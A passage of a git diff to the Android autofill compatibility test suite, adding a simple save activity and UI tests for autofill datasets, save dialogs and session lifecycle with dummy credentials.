import android.os.SystemClock;
+import android.util.Log;
import android.view.autofill.AutofillValue;
import org.junit.After;
@@ -49,6 +53,8 @@
* Test the lifecycle of a autofill session
*/
public class SessionLifecycleTest extends AutoFillServiceTestCase {
+ private static final String TAG = "SessionLifecycleTest";
+
private static final String USERNAME_FULL_ID = "android.autofillservice.cts:id/" + ID_USERNAME;
private static final String PASSWORD_FULL_ID = "android.autofillservice.cts:id/" + ID_PASSWORD;
private static final String LOGIN_FULL_ID = "android.autofillservice.cts:id/" + ID_LOGIN;
@@ -76,6 +82,20 @@
Helper.allowAutoRotation();
}
+ @After
+ public void finishLoginActivityOnAnotherProcess() throws Exception {
+ runShellCommand("am broadcast --receiver-foreground "
+ + "-n android.autofillservice.cts/.OutOfProcessLoginActivityFinisherReceiver");
+ sUiBot.assertGoneByRelativeId(ID_USERNAME, Helper.ACTIVITY_RESURRECTION_MS);
+
+ if (!OutOfProcessLoginActivity.hasInstance()) {
+ Log.v(TAG, "@After: Not waiting for oop activity to be destroyed");
+ return;
+ }
+ // Waiting for activity to be destroyed (destroy marker appears)
+ eventually(() -> assertThat(getDestroyedMarker(getContext()).exists()).isTrue());
+ }
+
private void killOfProcessLoginActivityProcess() throws Exception {
// Waiting for activity to stop (stop marker appears)
eventually(() -> assertThat(getStoppedMarker(getContext()).exists()).isTrue());
@@ -84,119 +104,126 @@
SystemClock.sleep(1000);
// Kill activity that is in the background
- runShellCommand("kill -9 %d",
- getOutOfProcessPid("android.autofillservice.cts.outside"));
+ runShellCommand("am broadcast --receiver-foreground "
+ + "-n android.autofillservice.cts/.SelfDestructReceiver");
}
@Test
public void testDatasetAuthResponseWhileAutofilledAppIsLifecycled() throws Exception {
+ assumeTrue("Screen rotation not supported", sUiBot.isScreenRotationSupported());
// Set service.
enableService();
- // Start activity that is autofilled in a separate process so it can be killed
- Intent outOfProcessAcvitityStartIntent = new Intent(getContext(),
- OutOfProcessLoginActivity.class);
- getContext().startActivity(outOfProcessAcvitityStartIntent);
+ sUiBot.setScreenResolution();
- // Set expectations.
- final Bundle extras = new Bundle();
- extras.putString("numbers", "4815162342");
+ try {
+ // Start activity that is autofilled in a separate process so it can be killed
+ Intent outOfProcessAcvitityStartIntent = new Intent(getContext(),
+ OutOfProcessLoginActivity.class);
+ getContext().startActivity(outOfProcessAcvitityStartIntent);
- // Create the authentication intent (launching a full screen activity)
- IntentSender authentication = PendingIntent.getActivity(getContext(), 0,
- new Intent(getContext(), ManualAuthenticationActivity.class),
- 0).getIntentSender();
+ // Set expectations.
+ final Bundle extras = new Bundle();
+ extras.putString("numbers", "4815162342");
- // Prepare the authenticated response
- ManualAuthenticationActivity.setResponse(new CannedFillResponse.Builder()
- .addDataset(new CannedFillResponse.CannedDataset.Builder()
- .setField(ID_USERNAME, AutofillValue.forText("autofilled username"))
- .setPresentation(createPresentation("dataset")).build())
- .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, ID_USERNAME, ID_PASSWORD)
- .setExtras(extras).build());
+ // Create the authentication intent (launching a full screen activity)
+ IntentSender authentication = PendingIntent.getActivity(getContext(), 0,
+ new Intent(getContext(), ManualAuthenticationActivity.class),
+ 0).getIntentSender();
- CannedFillResponse response = new CannedFillResponse.Builder()
- .setAuthentication(authentication, ID_USERNAME, ID_PASSWORD)
- .setPresentation(createPresentation("authenticate"))
- .build();
- sReplier.addResponse(response);
+ // Prepare the authenticated response
+ ManualAuthenticationActivity.setResponse(new CannedFillResponse.Builder()
+ .addDataset(new CannedFillResponse.CannedDataset.Builder()
+ .setField(ID_USERNAME, AutofillValue.forText("autofilled username"))
+ .setPresentation(createPresentation("dataset")).build())
+ .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, ID_USERNAME, ID_PASSWORD)
+ .setExtras(extras).build());
- // Trigger autofill on username
- sUiBot.selectById(USERNAME_FULL_ID);
+ CannedFillResponse response = new CannedFillResponse.Builder()
+ .setAuthentication(authentication, ID_USERNAME, ID_PASSWORD)
+ .setPresentation(createPresentation("authenticate"))
+ .build();
+ sReplier.addResponse(response);
- // Wait for fill request to be processed
- sReplier.getNextFillRequest();
+ // Trigger autofill on username
+ sUiBot.selectById(USERNAME_FULL_ID);
- // Wait until authentication is shown
- sUiBot.assertDatasets("authenticate");
+ // Wait for fill request to be processed
+ sReplier.getNextFillRequest();
- // Change orientation which triggers a destroy -> create in the app as the activity
- // cannot deal with such situations
- sUiBot.setScreenOrientation(LANDSCAPE);
+ // Wait until authentication is shown
+ sUiBot.assertDatasets("authenticate");
- // Delete stopped marker
- getStoppedMarker(getContext()).delete();
+ // Change orientation which triggers a destroy -> create in the app as the activity
+ // cannot deal with such situations
+ sUiBot.setScreenOrientation(LANDSCAPE);
- // Authenticate
- sUiBot.selectDataset("authenticate");
+ // Delete stopped marker
+ getStoppedMarker(getContext()).delete();
- // Kill activity that is in the background
- killOfProcessLoginActivityProcess();
+ // Authenticate
+ sUiBot.selectDataset("authenticate");
- // Change orientation which triggers a destroy -> create in the app as the activity
- // cannot deal with such situations
- sUiBot.setScreenOrientation(PORTRAIT);
+ // Kill activity that is in the background
+ killOfProcessLoginActivityProcess();
- // Approve authentication
- sUiBot.selectById(BUTTON_FULL_ID);
+ // Change orientation which triggers a destroy -> create in the app as the activity
+ // cannot deal with such situations
+ sUiBot.setScreenOrientation(PORTRAIT);
- // Wait for dataset to be shown
- sUiBot.assertDatasets("dataset");
+ // Approve authentication
+ sUiBot.selectById(BUTTON_FULL_ID);
- // Change orientation which triggers a destroy -> create in the app as the activity
- // cannot deal with such situations
- sUiBot.setScreenOrientation(LANDSCAPE);
+ // Wait for dataset to be shown
+ sUiBot.assertDatasets("dataset");
- // Select dataset
- sUiBot.selectDataset("dataset");
+ // Change orientation which triggers a destroy -> create in the app as the activity
+ // cannot deal with such situations
+ sUiBot.setScreenOrientation(LANDSCAPE);
- // Check the results.
- eventually(() -> assertThat(sUiBot.getTextById(USERNAME_FULL_ID)).isEqualTo(
- "autofilled username"));
+ // Select dataset
+ sUiBot.selectDataset("dataset");
- // Set password
- sUiBot.setTextById(PASSWORD_FULL_ID, "new password");
+ // Check the results.
+ eventually(() -> assertThat(sUiBot.getTextById(USERNAME_FULL_ID)).isEqualTo(
+ "autofilled username"));
- // Login
- sUiBot.selectById(LOGIN_FULL_ID);
+ // Set password
+ sUiBot.setTextById(PASSWORD_FULL_ID, "new password");
- // Wait for save UI to be shown
- sUiBot.assertShownById("android:id/autofill_save_yes");
+ // Login
+ sUiBot.selectById(LOGIN_FULL_ID);
- // Change orientation to make sure save UI can handle this
- sUiBot.setScreenOrientation(PORTRAIT);
+ // Wait for save UI to be shown
+ sUiBot.assertShownById("android:id/autofill_save_yes");
- // Tap "Save".
- sUiBot.selectById("android:id/autofill_save_yes");
+ // Change orientation to make sure save UI can handle this
+ sUiBot.setScreenOrientation(PORTRAIT);
- // Get save request
- InstrumentedAutoFillService.SaveRequest saveRequest = sReplier.getNextSaveRequest();
- assertWithMessage("onSave() not called").that(saveRequest).isNotNull();
+ // Tap "Save".
+ sUiBot.selectById("android:id/autofill_save_yes");
- // Make sure data is correctly saved
- final AssistStructure.ViewNode username = findNodeByResourceId(saveRequest.structure,
- ID_USERNAME);
- assertTextAndValue(username, "autofilled username");
- final AssistStructure.ViewNode password = findNodeByResourceId(saveRequest.structure,
- ID_PASSWORD);
- assertTextAndValue(password, "new password");
+ // Get save request
+ InstrumentedAutoFillService.SaveRequest saveRequest = sReplier.getNextSaveRequest();
+ assertWithMessage("onSave() not called").that(saveRequest).isNotNull();
- // Make sure extras were passed back on onSave()
- assertThat(saveRequest.data).isNotNull();
- final String extraValue = saveRequest.data.getString("numbers");
- assertWithMessage("extras not passed on save").that(extraValue).isEqualTo("4815162342");
+ // Make sure data is correctly saved
+ final AssistStructure.ViewNode username = findNodeByResourceId(saveRequest.structure,
+ ID_USERNAME);
+ assertTextAndValue(username, "autofilled username");
+ final AssistStructure.ViewNode password = findNodeByResourceId(saveRequest.structure,
+ ID_PASSWORD);
+ assertTextAndValue(password, "new password");
- eventually(() -> assertNoDanglingSessions());
+ // Make sure extras were passed back on onSave()
+ assertThat(saveRequest.data).isNotNull();
+ final String extraValue = saveRequest.data.getString("numbers");
+ assertWithMessage("extras not passed on save").that(extraValue).isEqualTo("4815162342");
+
+ eventually(() -> assertNoDanglingSessions());
+ } finally {
+ sUiBot.resetScreenResolution();
+ }
}
@Test
diff --git a/tests/autofillservice/src/android/autofillservice/cts/SimpleSaveActivity.java b/tests/autofillservice/src/android/autofillservice/cts/SimpleSaveActivity.java
new file mode 100644
index 0000000..0866b2d
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/SimpleSaveActivity.java
@@ -0,0 +1,87 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.autofillservice.cts;
+
+import android.os.Bundle;
+import android.widget.Button;
+import android.widget.EditText;
+import android.widget.TextView;
+
+/**
+ * Simple activity that has an edit text and buttons to cancel or commit the autofill context.
+ */
+public class SimpleSaveActivity extends AbstractAutoFillActivity {
+
+ static final String ID_LABEL = "label";
+ static final String ID_INPUT = "input";
+ static final String ID_PASSWORD = "password";
+ static final String ID_COMMIT = "commit";
+ static final String TEXT_LABEL = "Label:";
+
+ TextView mLabel;
+ EditText mInput;
+ EditText mPassword;
+ Button mCancel;
+ Button mCommit;
+
+ private static SimpleSaveActivity sInstance;
+
+ public static SimpleSaveActivity getInstance() {
+ return sInstance;
+ }
+
+ public SimpleSaveActivity() {
+ sInstance = this;
+ }
+
+ @Override
+ protected void onCreate(Bundle savedInstanceState) {
+ super.onCreate(savedInstanceState);
+
+ setContentView(R.layout.simple_save_activity);
+
+ mLabel = findViewById(R.id.label);
+ mInput = findViewById(R.id.input);
+ mPassword = findViewById(R.id.password);
+ mCancel = findViewById(R.id.cancel);
+ mCommit = findViewById(R.id.commit);
+
+ mCancel.setOnClickListener((v) -> getAutofillManager().cancel());
+ mCommit.setOnClickListener((v) -> getAutofillManager().commit());
+ }
+
+ FillExpectation expectAutoFill(String input, String password) {
+ final FillExpectation expectation = new FillExpectation(input, password);
+ mInput.addTextChangedListener(expectation.mInputWatcher);
+ mPassword.addTextChangedListener(expectation.mPasswordWatcher);
+ return expectation;
+ }
+
+ final class FillExpectation {
+ private final OneTimeTextWatcher mInputWatcher;
+ private final OneTimeTextWatcher mPasswordWatcher;
+
+ private FillExpectation(String input, String password) {
+ mInputWatcher = new OneTimeTextWatcher("input", mInput, input);
+ mPasswordWatcher = new OneTimeTextWatcher("password", mPassword, password);
+ }
+
+ void assertAutoFilled() throws Exception {
+ mInputWatcher.assertAutoFilled();
+ mPasswordWatcher.assertAutoFilled();
+ }
+ }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/SimpleSaveActivityTest.java b/tests/autofillservice/src/android/autofillservice/cts/SimpleSaveActivityTest.java
new file mode 100644
index 0000000..4abccc9
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/SimpleSaveActivityTest.java
@@ -0,0 +1,738 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.autofillservice.cts;
+
+import static android.autofillservice.cts.Helper.assertTextAndValue;
+import static android.autofillservice.cts.Helper.findNodeByResourceId;
+import static android.autofillservice.cts.LoginActivity.ID_USERNAME_CONTAINER;
+import static android.autofillservice.cts.SimpleSaveActivity.ID_COMMIT;
+import static android.autofillservice.cts.SimpleSaveActivity.ID_INPUT;
+import static android.autofillservice.cts.SimpleSaveActivity.ID_LABEL;
+import static android.autofillservice.cts.SimpleSaveActivity.ID_PASSWORD;
+import static android.autofillservice.cts.SimpleSaveActivity.TEXT_LABEL;
+import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_GENERIC;
+import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_PASSWORD;
+
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import static org.junit.Assume.assumeTrue;
+
+import android.autofillservice.cts.CannedFillResponse.CannedDataset;
+import android.autofillservice.cts.InstrumentedAutoFillService.SaveRequest;
+import android.autofillservice.cts.SimpleSaveActivity.FillExpectation;
+import android.content.Intent;
+import android.support.test.uiautomator.UiObject2;
+import android.view.View;
+
+import org.junit.Ignore;
+import org.junit.Rule;
+import org.junit.Test;
+
+public class SimpleSaveActivityTest extends CustomDescriptionWithLinkTestCase {
+
+ @Rule
+ public final AutofillActivityTestRule<SimpleSaveActivity> mActivityRule =
+ new AutofillActivityTestRule<SimpleSaveActivity>(SimpleSaveActivity.class, false);
+
+ private SimpleSaveActivity mActivity;
+
+ private void startActivity() {
+ startActivity(false);
+ }
+
+ private void startActivity(boolean remainOnRecents) {
+ final Intent intent = new Intent(mContext, SimpleSaveActivity.class);
+ if (remainOnRecents) {
+ intent.setFlags(
+ Intent.FLAG_ACTIVITY_RETAIN_IN_RECENTS | Intent.FLAG_ACTIVITY_NEW_DOCUMENT);
+ }
+ mActivity = mActivityRule.launchActivity(intent);
+ }
+
+ private void restartActivity() {
+ final Intent intent = new Intent(mContext.getApplicationContext(),
+ SimpleSaveActivity.class);
+ intent.addFlags(Intent.FLAG_ACTIVITY_REORDER_TO_FRONT);
+ mContext.startActivity(intent);
+ }
+
+ @Test
+ public void testAutoFillOneDatasetAndSave() throws Exception {
+ startActivity();
+
+ // Set service.
+ enableService();
+
+ // Set expectations.
+ sReplier.addResponse(new CannedFillResponse.Builder()
+ .setRequiredSavableIds(SAVE_DATA_TYPE_GENERIC, ID_INPUT, ID_PASSWORD)
+ .addDataset(new CannedDataset.Builder()
+ .setField(ID_INPUT, "id")
+ .setField(ID_PASSWORD, "pass")
+ .setPresentation(createPresentation("YO"))
+ .build())
+ .build());
+
+ // Trigger autofill.
+ mActivity.syncRunOnUiThread(() -> mActivity.mInput.requestFocus());
+ sReplier.getNextFillRequest();
+
+ // Select dataset.
+ final FillExpectation autofillExpecation = mActivity.expectAutoFill("id", "pass");
+ sUiBot.selectDataset("YO");
+ autofillExpecation.assertAutoFilled();
+
+ mActivity.syncRunOnUiThread(() -> {
+ mActivity.mInput.setText("ID");
+ mActivity.mPassword.setText("PASS");
+ mActivity.mCommit.performClick();
+ });
+ final UiObject2 saveUi = sUiBot.assertSaveShowing(SAVE_DATA_TYPE_GENERIC);
+
+ // Save it...
+ sUiBot.saveForAutofill(saveUi, true);
+
+ // ... and assert results
+ final SaveRequest saveRequest = sReplier.getNextSaveRequest();
+ assertTextAndValue(findNodeByResourceId(saveRequest.structure, ID_INPUT), "ID");
+ assertTextAndValue(findNodeByResourceId(saveRequest.structure, ID_PASSWORD), "PASS");
+ }
+
+ /**
+ * Simple test that only uses UiAutomator to interact with the activity, so it indirectly
+ * tests the integration of Autofill with Accessibility.
+ */
+ @Test
+ public void testAutoFillOneDatasetAndSave_usingUiAutomatorOnly() throws Exception {
+ startActivity();
+
+ // Set service.
+ enableService();
+
+ // Set expectations.
+ sReplier.addResponse(new CannedFillResponse.Builder()
+ .setRequiredSavableIds(SAVE_DATA_TYPE_GENERIC, ID_INPUT, ID_PASSWORD)
+ .addDataset(new CannedDataset.Builder()
+ .setField(ID_INPUT, "id")
+ .setField(ID_PASSWORD, "pass")
+ .setPresentation(createPresentation("YO"))
+ .build())
+ .build());
+
+ // Trigger autofill.
+ sUiBot.assertShownByRelativeId(ID_INPUT).click();
+ sReplier.getNextFillRequest();
+
+ // Select dataset...
+ sUiBot.selectDataset("YO");
+
+ // ...and assert autofilled values.
+ final UiObject2 input = sUiBot.assertShownByRelativeId(ID_INPUT);
+ final UiObject2 password = sUiBot.assertShownByRelativeId(ID_PASSWORD);
+
+ assertWithMessage("wrong value for 'input'").that(input.getText()).isEqualTo("id");
+ // TODO: password field is shown as **** ; ideally we should assert it's a password
+ // field, but UiAutomator does not exposes that info.
+ final String visiblePassword = password.getText();
+ assertWithMessage("'password' should not be visible").that(visiblePassword)
+ .isNotEqualTo("pass");
+ assertWithMessage("wrong value for 'password'").that(visiblePassword).hasLength(4);
+
+ // Trigger save...
+ input.setText("ID");
+ password.setText("PASS");
+ sUiBot.assertShownByRelativeId(ID_COMMIT).click();
+ sUiBot.saveForAutofill(true, SAVE_DATA_TYPE_GENERIC);
+
+ // ... and assert results
+ final SaveRequest saveRequest = sReplier.getNextSaveRequest();
+ assertTextAndValue(findNodeByResourceId(saveRequest.structure, ID_INPUT), "ID");
+ assertTextAndValue(findNodeByResourceId(saveRequest.structure, ID_PASSWORD), "PASS");
+ }
+
+ @Test
+ public void testSave() throws Exception {
+ saveTest(false);
+ }
+
+ @Test
+ public void testSave_afterRotation() throws Exception {
+ assumeTrue("Screen rotation not supported", sUiBot.isScreenRotationSupported());
+ sUiBot.setScreenOrientation(UiBot.PORTRAIT);
+ try {
+ saveTest(true);
+ } finally {
+ sUiBot.setScreenOrientation(UiBot.PORTRAIT);
+ cleanUpAfterScreenOrientationIsBackToPortrait();
+ }
+ }
+
+ private void saveTest(boolean rotate) throws Exception {
+ startActivity();
+
+ // Set service.
+ enableService();
+
+ // Set expectations.
+ sReplier.addResponse(new CannedFillResponse.Builder()
+ .setRequiredSavableIds(SAVE_DATA_TYPE_GENERIC, ID_INPUT)
+ .build());
+
+ // Trigger autofill.
+ mActivity.syncRunOnUiThread(() -> mActivity.mInput.requestFocus());
+ sReplier.getNextFillRequest();
+ Helper.assertHasSessions(mPackageName);
+
+ // Trigger save.
+ mActivity.syncRunOnUiThread(() -> {
+ mActivity.mInput.setText("108");
+ mActivity.mCommit.performClick();
+ });
+ UiObject2 saveUi = sUiBot.assertSaveShowing(SAVE_DATA_TYPE_GENERIC);
+
+ if (rotate) {
+ // After the device rotates, the input field get focus and generate a new session.
+ sReplier.addResponse(CannedFillResponse.NO_RESPONSE);
+
+ sUiBot.setScreenOrientation(UiBot.LANDSCAPE);
+ saveUi = sUiBot.assertSaveShowing(SAVE_DATA_TYPE_GENERIC);
+ }
+
+ // Save it...
+ sUiBot.saveForAutofill(saveUi, true);
+
+ // ... and assert results
+ final SaveRequest saveRequest = sReplier.getNextSaveRequest();
+ assertTextAndValue(findNodeByResourceId(saveRequest.structure, ID_INPUT), "108");
+ }
+
+ @Test
+ public void testSaveThenStartNewSessionRightAway() throws Exception {
+ startActivity();
+
+ // Set service.
+ enableService();
+
+ // Set expectations.
+ sReplier.addResponse(new CannedFillResponse.Builder()
+ .setRequiredSavableIds(SAVE_DATA_TYPE_GENERIC, ID_INPUT)
+ .build());
+
+ // Trigger autofill.
+ mActivity.syncRunOnUiThread(() -> mActivity.mInput.requestFocus());
+ sReplier.getNextFillRequest();
+ Helper.assertHasSessions(mPackageName);
+
+ // Trigger save and start a new session right away.
+ mActivity.syncRunOnUiThread(() -> {
+ mActivity.mInput.setText("108");
+ mActivity.mCommit.performClick();
+ mActivity.getAutofillManager().requestAutofill(mActivity.mInput);
+ });
+
+ // Make sure Save UI for 1st session was canceled....
+ sUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_GENERIC);
+
+ //... and 2nd session canceled as well.
+ Helper.assertNoDanglingSessions();
+ }
+
+ @Test
+ public void testCancelPreventsSaveUiFromShowing() throws Exception {
+ startActivity();
+
+ // Set service.
+ enableService();
+
+ // Set expectations.
+ sReplier.addResponse(new CannedFillResponse.Builder()
+ .setRequiredSavableIds(SAVE_DATA_TYPE_GENERIC, ID_INPUT)
+ .build());
+
+ // Trigger autofill.
+ mActivity.syncRunOnUiThread(() -> mActivity.mInput.requestFocus());
+ sReplier.getNextFillRequest();
+ Helper.assertHasSessions(mPackageName);
+
+ // Cancel session.
+ mActivity.getAutofillManager().cancel();
+ Helper.assertNoDanglingSessions();
+
+ // Trigger save.
+ mActivity.syncRunOnUiThread(() -> {
+ mActivity.mInput.setText("108");
+ mActivity.mCommit.performClick();
+ });
+
+ // Assert it's not showing.
+ sUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_GENERIC);
+ }
+
+ @Test
+ public void testDismissSave_byTappingBack() throws Exception {
+ startActivity();
+ dismissSaveTest(DismissType.BACK_BUTTON);
+ }
+
+ @Test
+ public void testDismissSave_byTappingHome() throws Exception {
+ startActivity();
+ dismissSaveTest(DismissType.HOME_BUTTON);
+ }
+
+ @Test
+ public void testDismissSave_byTouchingOutside() throws Exception {
+ startActivity();
+ dismissSaveTest(DismissType.TOUCH_OUTSIDE);
+ }
+
+ @Test
+ public void testDismissSave_byFocusingOutside() throws Exception {
+ startActivity();
+ dismissSaveTest(DismissType.FOCUS_OUTSIDE);
+ }
+
+ @Test
+ @Ignore("Test fail on some devices because Recents UI is not well defined: b/72044685")
+ public void testDismissSave_byTappingRecents() throws Exception {
+ // Launches a different activity first.
+ startWelcomeActivityOnNewTask();
+
+ // Then launches the main activity.
+ startActivity(true);
+ sUiBot.assertShownByRelativeId(ID_INPUT);
+
+ // And finally test it..
+ dismissSaveTest(DismissType.RECENTS_BUTTON);
+ }
+
+ private void dismissSaveTest(DismissType dismissType) throws Exception {
+ // Set service.
+ enableService();
+
+ // Set expectations.
+ sReplier.addResponse(new CannedFillResponse.Builder()
+ .setRequiredSavableIds(SAVE_DATA_TYPE_GENERIC, ID_INPUT)
+ .build());
+
+ // Trigger autofill.
+ mActivity.syncRunOnUiThread(() -> mActivity.mInput.requestFocus());
+ sReplier.getNextFillRequest();
+ Helper.assertHasSessions(mPackageName);
+
+ // Trigger save.
+ mActivity.syncRunOnUiThread(() -> {
+ mActivity.mInput.setText("108");
+ mActivity.mCommit.performClick();
+ });
+ sUiBot.assertSaveShowing(SAVE_DATA_TYPE_GENERIC);
+
+ // Then make sure it goes away when user doesn't want it..
+ switch (dismissType) {
+ case BACK_BUTTON:
+ sUiBot.pressBack();
+ break;
+ case HOME_BUTTON:
+ sUiBot.pressHome();
+ break;
+ case TOUCH_OUTSIDE:
+ sUiBot.assertShownByText(TEXT_LABEL).click();
+ break;
+ case FOCUS_OUTSIDE:
+ mActivity.syncRunOnUiThread(() -> mActivity.mLabel.requestFocus());
+ sUiBot.assertShownByText(TEXT_LABEL).click();
+ break;
+ case RECENTS_BUTTON:
+ sUiBot.switchAppsUsingRecents();
+ WelcomeActivity.assertShowingDefaultMessage(sUiBot);
+ break;
+ default:
+ throw new IllegalArgumentException("invalid dismiss type: " + dismissType);
+ }
+ sUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_GENERIC);
+ }
+
+ @Test
+ public void testTapHomeWhileDatasetPickerUiIsShowing() throws Exception {
+ startActivity();
+ enableService();
+ final MyAutofillCallback callback = mActivity.registerCallback();
+
+ // Set expectations.
+ sReplier.addResponse(new CannedFillResponse.Builder()
+ .addDataset(new CannedDataset.Builder()
+ .setField(ID_INPUT, "id")
+ .setField(ID_PASSWORD, "pass")
+ .setPresentation(createPresentation("YO"))
+ .build())
+ .build());
+
+ // Trigger autofill.
+ sUiBot.assertShownByRelativeId(ID_INPUT).click();
+ sReplier.getNextFillRequest();
+ sUiBot.assertDatasets("YO");
+ callback.assertUiShownEvent(mActivity.mInput);
+
+ // Go home, you are drunk!
+ sUiBot.pressHome();
+ sUiBot.assertNoDatasets();
+ callback.assertUiHiddenEvent(mActivity.mInput);
+
+ // Switch back to the activity.
+ restartActivity();
+ sUiBot.assertShownByText(TEXT_LABEL, Helper.ACTIVITY_RESURRECTION_MS);
+ final UiObject2 datasetPicker = sUiBot.assertDatasets("YO");
+ callback.assertUiShownEvent(mActivity.mInput);
+
+ // Now autofill it.
+ final FillExpectation autofillExpecation = mActivity.expectAutoFill("id", "pass");
+ sUiBot.selectDataset(datasetPicker, "YO");
+ autofillExpecation.assertAutoFilled();
+ }
+
+ @Test
+ public void testTapHomeWhileSaveUiIsShowing() throws Exception {
+ startActivity();
+ enableService();
+
+ // Set expectations.
+ sReplier.addResponse(new CannedFillResponse.Builder()
+ .setRequiredSavableIds(SAVE_DATA_TYPE_GENERIC, ID_INPUT)
+ .build());
+
+ // Trigger autofill.
+ mActivity.syncRunOnUiThread(() -> mActivity.mInput.requestFocus());
+ sReplier.getNextFillRequest();
+ sUiBot.assertNoDatasets();
+
+ // Trigger save, but don't tap it.
+ mActivity.syncRunOnUiThread(() -> {
+ mActivity.mInput.setText("108");
+ mActivity.mCommit.performClick();
+ });
+ sUiBot.assertSaveShowing(SAVE_DATA_TYPE_GENERIC);
+
+ // Go home, you are drunk!
+ sUiBot.pressHome();
+ sUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_GENERIC);
+ Helper.assertNoDanglingSessions();
+
+ // Prepare the response for the next session, which will be automatically triggered
+ // when the activity is brought back.
+ sReplier.addResponse(new CannedFillResponse.Builder()
+ .setRequiredSavableIds(SAVE_DATA_TYPE_GENERIC, ID_INPUT, ID_PASSWORD)
+ .addDataset(new CannedDataset.Builder()
+ .setField(ID_INPUT, "id")
+ .setField(ID_PASSWORD, "pass")
+ .setPresentation(createPresentation("YO"))
+ .build())
+ .build());
+
+ // Switch back to the activity.
+ restartActivity();
+ sUiBot.assertShownByText(TEXT_LABEL, Helper.ACTIVITY_RESURRECTION_MS);
+ sUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_GENERIC);
+ sReplier.getNextFillRequest();
+ sUiBot.assertNoDatasets();
+
+ // Trigger and select UI.
+ mActivity.syncRunOnUiThread(() -> mActivity.mPassword.requestFocus());
+ final FillExpectation autofillExpecation = mActivity.expectAutoFill("id", "pass");
+ sUiBot.selectDataset("YO");
+
+ // Assert it.
+ autofillExpecation.assertAutoFilled();
+ }
+
+ private void startWelcomeActivityOnNewTask() throws Exception {
+ final Intent intent = new Intent(mContext, WelcomeActivity.class);
+ intent.setFlags(
+ Intent.FLAG_ACTIVITY_RETAIN_IN_RECENTS | Intent.FLAG_ACTIVITY_NEW_DOCUMENT);
+ mContext.startActivity(intent);
+ WelcomeActivity.assertShowingDefaultMessage(sUiBot);
+ }
+
+ @Override
+ protected void saveUiRestoredAfterTappingLinkTest(PostSaveLinkTappedAction type)
+ throws Exception {
+ startActivity();
+ // Set service.
+ enableService();
+
+ // Set expectations.
+ sReplier.addResponse(new CannedFillResponse.Builder()
+ .setCustomDescription(newCustomDescription(WelcomeActivity.class))
+ .setRequiredSavableIds(SAVE_DATA_TYPE_GENERIC, ID_INPUT)
+ .build());
+
+ // Trigger autofill.
+ mActivity.syncRunOnUiThread(() -> mActivity.mInput.requestFocus());
+ sReplier.getNextFillRequest();
+ Helper.assertHasSessions(mPackageName);
+
+ // Trigger save.
+ mActivity.syncRunOnUiThread(() -> {
+ mActivity.mInput.setText("108");
+ mActivity.mCommit.performClick();
+ });
+ final UiObject2 saveUi = assertSaveUiWithLinkIsShown(SAVE_DATA_TYPE_GENERIC);
+
+ // Tap the link.
+ tapSaveUiLink(saveUi);
+
+ // Make sure new activity is shown...
+ WelcomeActivity.assertShowingDefaultMessage(sUiBot);
+ sUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_GENERIC);
+
+ // .. then do something to return to previous activity...
+ switch (type) {
+ case ROTATE_THEN_TAP_BACK_BUTTON:
+ // After the device rotates, the input field get focus and generate a new session.
+ sReplier.addResponse(CannedFillResponse.NO_RESPONSE);
+
+ sUiBot.setScreenOrientation(UiBot.LANDSCAPE);
+ // not breaking on purpose
+ case TAP_BACK_BUTTON:
+ // ..then go back and save it.
+ sUiBot.pressBack();
+ break;
+ case FINISH_ACTIVITY:
+ // ..then finishes it.
+ WelcomeActivity.finishIt();
+ break;
+ default:
+ throw new IllegalArgumentException("invalid type: " + type);
+ }
+ // Make sure previous activity is back...
+ sUiBot.assertShownByRelativeId(ID_INPUT);
+
+ // ... and tap save.
+ final UiObject2 newSaveUi = assertSaveUiWithLinkIsShown(SAVE_DATA_TYPE_GENERIC);
+ sUiBot.saveForAutofill(newSaveUi, true);
+
+ final SaveRequest saveRequest = sReplier.getNextSaveRequest();
+ assertTextAndValue(findNodeByResourceId(saveRequest.structure, ID_INPUT), "108");
+
+ }
+
+ @Override
+ protected void cleanUpAfterScreenOrientationIsBackToPortrait() throws Exception {
+ sReplier.getNextFillRequest();
+ }
+
+ @Override
+ protected void tapLinkThenTapBackThenStartOverTest(PostSaveLinkTappedAction action,
+ boolean manualRequest) throws Exception {
+ startActivity();
+ // Set service.
+ enableService();
+
+ // Set expectations.
+ sReplier.addResponse(new CannedFillResponse.Builder()
+ .setCustomDescription(newCustomDescription(WelcomeActivity.class))
+ .setRequiredSavableIds(SAVE_DATA_TYPE_GENERIC, ID_INPUT)
+ .build());
+
+ // Trigger autofill.
+ mActivity.syncRunOnUiThread(() -> mActivity.mInput.requestFocus());
+ sReplier.getNextFillRequest();
+ Helper.assertHasSessions(mPackageName);
+
+ // Trigger save.
+ mActivity.syncRunOnUiThread(() -> {
+ mActivity.mInput.setText("108");
+ mActivity.mCommit.performClick();
+ });
+ final UiObject2 saveUi = assertSaveUiWithLinkIsShown(SAVE_DATA_TYPE_GENERIC);
+
+ // Tap the link.
